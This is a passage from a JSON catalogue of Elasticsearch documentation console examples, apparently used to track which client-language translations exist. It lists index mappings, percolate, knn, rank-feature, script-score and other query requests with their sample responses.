{\n \"first\": \"Ben\",\n \"last\": \"Grimm\"\n },\n \"_doc\": \"You got no idea what I'd... what I'd give to be invisible.\"\n }\n },\n {\n \"_index\": \"marvel\",\n \"_id\": \"2\"\n }\n ],\n \"min_term_freq\": 1,\n \"max_query_terms\": 12\n }\n }\n}"}, {"source_location":{"file":"query-dsl/mlt-query.asciidoc","line":121},"digest":"f5bf2526af19d964f8c4c59d4795cffc","lang":"console","found":["ruby"],"source":"PUT /imdb\n{\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"term_vector\": \"yes\"\n },\n \"description\": {\n \"type\": \"text\"\n },\n \"tags\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\": {\n \"type\": \"text\",\n \"analyzer\": \"keyword\",\n \"term_vector\": \"yes\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":23},"digest":"93429d2bfbc0a9b7a4854b27e34658cf","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"message\": {\n \"type\": \"text\"\n },\n \"query\": {\n \"type\": \"percolator\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":51},"digest":"897668edcbb0785fa5229aeb2dfc963e","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/1?refresh\n{\n \"query\": {\n \"match\": {\n \"message\": \"bonsai tree\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":66},"digest":"6e86225ed4a6e3be8078b83ef301f731","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"message\": \"A new bonsai tree in the office\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":84},"digest":"9181ac7bf73555ca7341ebdd9a55a9bc","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.26152915,\n \"hits\": [\n { <1>\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 0.26152915,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"bonsai tree\"\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0] <2>\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":157},"digest":"40b73b5c7ca144dc3f63f5b741f33d80","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"message\": \"A new bonsai tree in the office\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":196},"digest":"148edc235fcfbc263561f87f5533e688","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"documents\": [ <1>\n {\n \"message\": \"bonsai tree\"\n },\n {\n \"message\": \"new tree\"\n },\n {\n \"message\": \"the office\"\n },\n {\n \"message\": \"office tree\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":225},"digest":"9945f8cacd1e52c6e3e418e30a7d34c5","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.7093853,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 0.7093853,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"bonsai tree\"\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0, 1, 3] <1>\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":279},"digest":"b7c99eb38d4b37e22de1ffcb0e88ae4c","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/2\n{\n \"message\" : \"A new bonsai tree in the office\"\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":289},"digest":"2f0e6d3132c00fa6e9efbf24e1a12420","lang":"console-result","found":[],"source":"{\n \"_index\": \"my-index-000001\",\n \"_id\": \"2\",\n \"_version\": 1,\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"result\": \"created\",\n \"_seq_no\" : 1,\n \"_primary_term\" : 1\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":308},"digest":"3166455372f2d96622caff076e91ebe7","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"index\": \"my-index-000001\",\n \"id\": \"2\",\n \"version\": 1 <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":343},"digest":"b68ed7037042719945a2452d23e64c78","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/3?refresh\n{\n \"query\": {\n \"match\": {\n \"message\": \"brown fox\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":358},"digest":"6220087321e6d288024a70c6b09bd720","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/4?refresh\n{\n \"query\": {\n \"match\": {\n \"message\": \"lazy dog\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":373},"digest":"d8496fa0e5a394fd758617ed6a6c956f","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"message\": \"The quick brown fox jumps over the lazy dog\"\n }\n }\n },\n \"highlight\": {\n \"fields\": {\n \"message\": {}\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":396},"digest":"a0e450ee1deca336646b02bde8804c63","lang":"console-result","found":[],"source":"{\n \"took\": 7,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.26152915,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"3\",\n \"_score\": 0.26152915,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"brown fox\"\n }\n }\n },\n \"highlight\": {\n \"message\": [\n \"The quick brown fox jumps over the lazy dog\" <1>\n ]\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0]\n }\n },\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"4\",\n \"_score\": 0.26152915,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"lazy dog\"\n }\n }\n },\n \"highlight\": {\n \"message\": [\n \"The quick brown fox jumps over the lazy dog\" <1>\n ]\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":467},"digest":"4b3a49710fafa35d6d41a8ec12434515","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"documents\": [\n {\n \"message\": \"bonsai tree\"\n },\n {\n \"message\": \"new tree\"\n },\n {\n \"message\": \"the office\"\n },\n {\n \"message\": \"office tree\"\n }\n ]\n }\n },\n \"highlight\": {\n \"fields\": {\n \"message\": {}\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":501},"digest":"08b35a3fe78516cd1747b8016ad32fdd","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.7093853,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 0.7093853,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"bonsai tree\"\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0, 1, 3]\n },\n \"highlight\" : { <1>\n \"0_message\" : [\n \"bonsai tree\"\n ],\n \"3_message\" : [\n \"office tree\"\n ],\n \"1_message\" : [\n \"new tree\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":565},"digest":"0350410d11579f4e876c798ce1eaef5b","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_doc/5?refresh\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n {\n \"match\": {\n \"message\": {\n \"query\": \"Japanese art\",\n \"_name\": \"query1\"\n }\n }\n },\n {\n \"match\": {\n \"message\": {\n \"query\": \"Holand culture\",\n \"_name\": \"query2\"\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":595},"digest":"a5e6ad9e65615f6f92ae6a19674dd742","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"percolate\": {\n \"field\": \"query\",\n \"documents\": [\n {\n \"message\": \"Japanse art\"\n },\n {\n \"message\": \"Holand culture\"\n },\n {\n \"message\": \"Japanese art and Holand culture\"\n },\n {\n \"message\": \"no-match\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":622},"digest":"7fca2ab0d0f6d0796b1942558ce8c77f","lang":"console-result","found":[],"source":"{\n \"took\": 55,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.1181908,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"5\",\n \"_score\": 1.1181908,\n \"_source\": {\n \"query\": {\n \"bool\": {\n \"should\": [\n {\n \"match\": {\n \"message\": {\n \"query\": \"Japanese art\",\n \"_name\": \"query1\"\n }\n }\n },\n {\n \"match\": {\n \"message\": {\n \"query\": \"Holand culture\",\n \"_name\": \"query2\"\n }\n }\n }\n ]\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot\" : [0, 1, 2],\n \"_percolator_document_slot_0_matched_queries\" : [\"query1\"], <1>\n \"_percolator_document_slot_1_matched_queries\" : [\"query2\"], <2>\n \"_percolator_document_slot_2_matched_queries\" : [\"query1\", \"query2\"] <3>\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":688},"digest":"e1c08f5774e81da31cd75aa1bdc2c548","lang":"console","found":[],"source":"GET /my-index-000001/_search\n{\n \"query\": {\n \"bool\": {\n \"should\": [\n {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"message\": \"bonsai tree\"\n },\n \"name\": \"query1\" <1>\n }\n },\n {\n \"percolate\": {\n \"field\": \"query\",\n \"document\": {\n \"message\": \"tulip flower\"\n },\n \"name\": \"query2\" <1>\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":727},"digest":"65f9f0d78f7545400a3707f3b4a0bbc6","lang":"console-result","found":[],"source":"{\n \"took\": 13,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.26152915,\n \"hits\": [\n {\n \"_index\": \"my-index-000001\",\n \"_id\": \"1\",\n \"_score\": 0.26152915,\n \"_source\": {\n \"query\": {\n \"match\": {\n \"message\": \"bonsai tree\"\n }\n }\n },\n \"fields\" : {\n \"_percolator_document_slot_query1\" : [0] <1>\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"query-dsl/percolate-query.asciidoc","line":791},"digest":"9501e6c8e95c21838653ea15b9b7ed5f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"term\" : {\n \"query.extraction_result\" : \"failed\"\n }\n }\n}"}, {"source_location":{"file":"query-dsl/knn-query.asciidoc","line":17},"digest":"f49ac80f0130cae8d0ea6f4472a149dd","lang":"console","found":[],"source":"PUT my-image-index\n{\n \"mappings\": {\n \"properties\": {\n \"image-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"index\": true,\n \"similarity\": \"l2_norm\"\n },\n \"file-type\": {\n \"type\": \"keyword\"\n },\n \"title\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/knn-query.asciidoc","line":42},"digest":"ad2b8aed84c67cdc295917b47a12d3dc","lang":"console","found":[],"source":"POST my-image-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"image-vector\": [1, 5, -20], \"file-type\": \"jpg\", \"title\": \"mountain lake\" }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"image-vector\": [42, 8, -15], \"file-type\": \"png\", \"title\": \"frozen lake\"}\n{ \"index\": { \"_id\": \"3\" } }\n{ \"image-vector\": [15, 11, 23], \"file-type\": \"jpg\", \"title\": \"mountain lake lodge\" }"}, {"source_location":{"file":"query-dsl/knn-query.asciidoc","line":56},"digest":"7353d42289155bb864504fd62efc6979","lang":"console","found":["ruby"],"source":"POST my-image-index/_search\n{\n \"size\" : 3,\n \"query\" : {\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [-5, 9, -12],\n \"num_candidates\": 10\n }\n }\n}"}, {"source_location":{"file":"query-dsl/knn-query.asciidoc","line":169},"digest":"d5d022fac900b3244c3d24b185bb19e0","lang":"console","found":["ruby"],"source":"POST my-image-index/_search\n{\n \"size\" : 10,\n \"query\" : {\n \"bool\" : {\n \"must\" : {\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [-5, 9, -12],\n \"num_candidates\": 3\n }\n },\n \"filter\" : {\n \"term\" : { \"file-type\" : \"png\" }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/knn-query.asciidoc","line":201},"digest":"452a61fecda86dd5539451dd57ec73a9","lang":"console","found":[],"source":"POST my-image-index/_search\n{\n \"size\" : 3,\n \"query\": {\n \"bool\": {\n \"should\": [\n {\n \"match\": {\n \"title\": {\n \"query\": \"mountain lake\",\n \"boost\": 1\n }\n }\n },\n {\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [-5, 9, -12],\n \"num_candidates\": 10,\n \"boost\": 2\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":67},"digest":"e2750d69bcb6d4c7e16e704cd0fb3530","lang":"console","found":["ruby"],"source":"PUT /test\n{\n \"mappings\": {\n \"properties\": {\n \"pagerank\": {\n \"type\": \"rank_feature\"\n },\n \"url_length\": {\n \"type\": \"rank_feature\",\n \"positive_score_impact\": false\n },\n \"topics\": {\n \"type\": \"rank_features\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":92},"digest":"1648dd31d0fef01e7504ebeb687f4f30","lang":"console","found":["ruby"],"source":"PUT /test/_doc/1?refresh\n{\n \"url\": \"https://en.wikipedia.org/wiki/2016_Summer_Olympics\",\n \"content\": \"Rio 2016\",\n \"pagerank\": 50.3,\n \"url_length\": 42,\n \"topics\": {\n \"sports\": 50,\n \"brazil\": 30\n }\n}\n\nPUT /test/_doc/2?refresh\n{\n \"url\": \"https://en.wikipedia.org/wiki/2016_Brazilian_Grand_Prix\",\n \"content\": \"Formula One motor race held on 13 November 2016\",\n \"pagerank\": 50.3,\n \"url_length\": 47,\n \"topics\": {\n \"sports\": 35,\n \"formula one\": 65,\n \"brazil\": 20\n }\n}\n\nPUT /test/_doc/3?refresh\n{\n \"url\": \"https://en.wikipedia.org/wiki/Deadpool_(film)\",\n \"content\": \"Deadpool is a 2016 American superhero film\",\n \"pagerank\": 50.3,\n \"url_length\": 37,\n \"topics\": {\n \"movies\": 60,\n \"super hero\": 65\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":138},"digest":"fd0cd8ecd03468726b59a605eea06d75","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": [\n {\n \"match\": {\n \"content\": \"2016\"\n }\n }\n ],\n \"should\": [\n {\n \"rank_feature\": {\n \"field\": \"pagerank\"\n }\n },\n {\n \"rank_feature\": {\n \"field\": \"url_length\",\n \"boost\": 0.1\n }\n },\n {\n \"rank_feature\": {\n \"field\": \"topics.sports\",\n \"boost\": 0.4\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":254},"digest":"309f0721145b5c656338a02459c3ff1e","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\",\n \"saturation\": {\n \"pivot\": 8\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":274},"digest":"0c05c66cfe3a2169b1ec1aba77e26db2","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\",\n \"saturation\": {}\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":295},"digest":"e89bf0d893b7bf43c2d9b44db6cfe21b","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\",\n \"log\": {\n \"scaling_factor\": 4\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":321},"digest":"9e3c28d5820c38ea117eb2e9a5061089","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\",\n \"sigmoid\": {\n \"pivot\": 7,\n \"exponent\": 0.6\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rank-feature-query.asciidoc","line":348},"digest":"c4c1a87414741a678f6cb91804daf095","lang":"console","found":[],"source":"GET /test/_search\n{\n \"query\": {\n \"rank_feature\": {\n \"field\": \"pagerank\",\n \"linear\": {}\n }\n }\n}"}, {"source_location":{"file":"query-dsl/script-query.asciidoc","line":24},"digest":"5c187ba92dd1678fda86b5eec8cc7421","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"script\": {\n \"script\": \"\"\"\n double amount = doc['amount'].value;\n if (doc['type'].value == 'expense') {\n amount *= -1;\n }\n return amount < 10;\n \"\"\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/script-query.asciidoc","line":87},"digest":"7067a498bb6c788854a26443a64b843a","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"runtime_mappings\": {\n \"amount.signed\": {\n \"type\": \"double\",\n \"script\": \"\"\"\n double amount = doc['amount'].value;\n if (doc['type'].value == 'expense') {\n amount *= -1;\n }\n emit(amount);\n \"\"\"\n }\n },\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"range\": {\n \"amount.signed\": { \"lt\": 10 }\n }\n }\n }\n },\n \"fields\": [{\"field\": \"amount.signed\"}]\n}"}, {"source_location":{"file":"query-dsl/script-query.asciidoc","line":156},"digest":"4bf6bb703a52267379ae2b1e1308cf8b","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"bool\": {\n \"filter\": {\n \"script\": {\n \"script\": {\n \"source\": \"doc['num1'].value > params.param1\",\n \"lang\": \"painless\",\n \"params\": {\n \"param1\": 5\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/script-score-query.asciidoc","line":18},"digest":"ada2675a9c631da2bfe627fc2618f5ed","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"script_score\": {\n \"query\": {\n \"match\": { \"message\": \"elasticsearch\" }\n },\n \"script\": {\n \"source\": \"doc['my-int'].value / 10 \"\n }\n }\n }\n}"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":31},"digest":"cbc98ea2274da69585b654f844b5a68f","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"my_dense_vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3\n },\n \"status\" : {\n \"type\" : \"keyword\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"my_dense_vector\": [0.5, 10, 6],\n \"status\" : \"published\"\n}\n\nPUT my-index-000001/_doc/2\n{\n \"my_dense_vector\": [-0.5, 10, 10],\n \"status\" : \"published\"\n}\n\nPOST my-index-000001/_refresh\n"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":71},"digest":"1eea46b08610972b79fdc4649748455d","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"term\" : {\n \"status\" : \"published\" <1>\n }\n }\n }\n },\n \"script\": {\n \"source\": \"cosineSimilarity(params.query_vector, 'my_dense_vector') + 1.0\", <2>\n \"params\": {\n \"query_vector\": [4, 3.4, -0.2] <3>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":110},"digest":"fce7a35a737fc9e54ac1225e310dd561","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"term\" : {\n \"status\" : \"published\"\n }\n }\n }\n },\n \"script\": {\n \"source\": \"\"\"\n double value = dotProduct(params.query_vector, 'my_dense_vector');\n return sigmoid(1, Math.E, -value); <1>\n \"\"\",\n \"params\": {\n \"query_vector\": [4, 3.4, -0.2]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":148},"digest":"2ac7efe3919ee0c7971f5d502f482662","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"term\" : {\n \"status\" : \"published\"\n }\n }\n }\n },\n \"script\": {\n \"source\": \"1 / (1 + l1norm(params.queryVector, 'my_dense_vector'))\", <1>\n \"params\": {\n \"queryVector\": [4, 3.4, -0.2]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":190},"digest":"f3e1dfe1c440e3590be26f265e19425d","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"term\" : {\n \"status\" : \"published\"\n }\n }\n }\n },\n \"script\": {\n \"source\": \"1 / (1 + l2norm(params.queryVector, 'my_dense_vector'))\",\n \"params\": {\n \"queryVector\": [4, 3.4, -0.2]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"vectors/vector-functions.asciidoc","line":245},"digest":"ffe45a7c70071730c2078cabb8cbdf95","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"term\" : {\n \"status\" : \"published\"\n }\n }\n }\n },\n \"script\": {\n \"source\": \"\"\"\n float[] v = doc['my_dense_vector'].vectorValue;\n float vm = doc['my_dense_vector'].magnitude;\n float dotProduct = 0;\n for (int i = 0; i < v.length; i++) {\n dotProduct += v[i] * params.queryVector[i];\n }\n return dotProduct / (vm * (float) params.queryVectorMag);\n \"\"\",\n \"params\": {\n \"queryVector\": [4, 3.4, -0.2],\n \"queryVectorMag\": 5.25357\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/script-score-query.asciidoc","line":345},"digest":"44bca3f17d403517af3616754dc795bb","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_explain/0\n{\n \"query\": {\n \"script_score\": {\n \"query\": {\n \"match\": { \"message\": \"elasticsearch\" }\n },\n \"script\": {\n \"source\": \"\"\"\n long count = doc['count'].value;\n double normalizedCount = count / 10;\n if (explanation != null) {\n explanation.set('normalized count = count / 10 = ' + count + ' / 10 = ' + normalizedCount);\n }\n return normalizedCount;\n \"\"\"\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/wrapper-query.asciidoc","line":10},"digest":"83780c8f5f17eb21064c1ba6e0a7aa10","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"wrapper\": {\n \"query\": \"eyJ0ZXJtIiA6IHsgInVzZXIuaWQiIDogImtpbWNoeSIgfX0=\" <1>\n }\n }\n}"}, {"source_location":{"file":"query-dsl/pinned-query.asciidoc","line":13},"digest":"004a17b42ab5155bb61da797a006fa9f","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"pinned\": {\n \"ids\": [ \"1\", \"4\", \"100\" ],\n \"organic\": {\n \"match\": {\n \"description\": \"iphone\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/pinned-query.asciidoc","line":55},"digest":"7e48648ca27024831c60b455e836c496","lang":"console","found":["ruby"],"source":"GET /_search\n{\n \"query\": {\n \"pinned\": {\n \"docs\": [\n {\n \"_index\": \"my-index-000001\", <1>\n \"_id\": \"1\"\n },\n {\n \"_id\": \"4\" <2>\n }\n ],\n \"organic\": {\n \"match\": {\n \"description\": \"iphone\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/rule-query.asciidoc","line":59},"digest":"5cda025b846919b307e3c7582f0d9e6b","lang":"console","found":[],"source":"GET /_search\n{\n \"query\": {\n \"rule_query\": {\n \"match_criteria\": {\n \"user_query\": \"pugs\"\n },\n \"ruleset_id\": \"my-ruleset\",\n \"organic\": {\n \"match\": {\n \"description\": \"puggles\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/weighted-tokens-query.asciidoc","line":19},"digest":"086ec4c5d86bbf80fb80162e94037689","lang":"console","found":[],"source":"POST _search\n{\n \"query\": {\n \"weighted_tokens\": {\n \"query_expansion_field\": {\n \"tokens\": {\"2161\": 0.4679, \"2621\": 0.307, \"2782\": 0.1299, \"2851\": 0.1056, \"3088\": 0.3041, \"3376\": 0.1038, \"3467\": 0.4873, \"3684\": 0.8958, \"4380\": 0.334, \"4542\": 0.4636, \"4633\": 2.2805, \"4785\": 1.2628, \"4860\": 1.0655, \"5133\": 1.0709, \"7139\": 1.0016, \"7224\": 0.2486, \"7387\": 0.0985, \"7394\": 0.0542, \"8915\": 0.369, \"9156\": 2.8947, \"10505\": 0.2771, \"11464\": 0.3996, \"13525\": 0.0088, \"14178\": 0.8161, \"16893\": 0.1376, \"17851\": 1.5348, \"19939\": 0.6012},\n \"pruning_config\": {\n \"tokens_freq_ratio_threshold\": 5,\n \"tokens_weight_threshold\": 0.4,\n \"only_score_pruned_tokens\": false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/weighted-tokens-query.asciidoc","line":88},"digest":"ee0fd67acc807f1bddf5e9807c06e7eb","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"query\":{\n \"weighted_tokens\": {\n \"query_expansion_field\": {\n \"tokens\": {\"2161\": 0.4679, \"2621\": 0.307, \"2782\": 0.1299, \"2851\": 0.1056, \"3088\": 0.3041, \"3376\": 0.1038, \"3467\": 0.4873, \"3684\": 0.8958, \"4380\": 0.334, \"4542\": 0.4636, \"4633\": 2.2805, \"4785\": 1.2628, \"4860\": 1.0655, \"5133\": 1.0709, \"7139\": 1.0016, \"7224\": 0.2486, \"7387\": 0.0985, \"7394\": 0.0542, \"8915\": 0.369, \"9156\": 2.8947, \"10505\": 0.2771, \"11464\": 0.3996, \"13525\": 0.0088, \"14178\": 0.8161, \"16893\": 0.1376, \"17851\": 1.5348, \"19939\": 0.6012},\n \"pruning_config\": {\n \"tokens_freq_ratio_threshold\": 5,\n \"tokens_weight_threshold\": 0.4,\n \"only_score_pruned_tokens\": false\n }\n }\n }\n },\n \"rescore\": {\n \"window_size\": 100,\n \"query\": {\n \"rescore_query\": {\n \"weighted_tokens\": {\n \"query_expansion_field\": {\n \"tokens\": {\"2161\": 0.4679, \"2621\": 0.307, \"2782\": 0.1299, \"2851\": 0.1056, \"3088\": 0.3041, \"3376\": 0.1038, \"3467\": 0.4873, \"3684\": 0.8958, \"4380\": 0.334, \"4542\": 0.4636, \"4633\": 2.2805, \"4785\": 1.2628, \"4860\": 1.0655, \"5133\": 1.0709, \"7139\": 1.0016, \"7224\": 0.2486, \"7387\": 0.0985, \"7394\": 0.0542, \"8915\": 0.369, \"9156\": 2.8947, \"10505\": 0.2771, \"11464\": 0.3996, \"13525\": 0.0088, \"14178\": 0.8161, \"16893\": 0.1376, \"17851\": 1.5348, \"19939\": 0.6012},\n \"pruning_config\": {\n \"tokens_freq_ratio_threshold\": 5,\n \"tokens_weight_threshold\": 0.4,\n \"only_score_pruned_tokens\": true\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"query-dsl/exists-query.asciidoc","line":20},"digest":"e8cbe2269f3dff6b231e73119e81511d","lang":"console","found":["python","ruby","go"],"source":"GET /_search\n{\n \"query\": {\n \"exists\": {\n \"field\": \"user\"\n }\n }\n}"}, 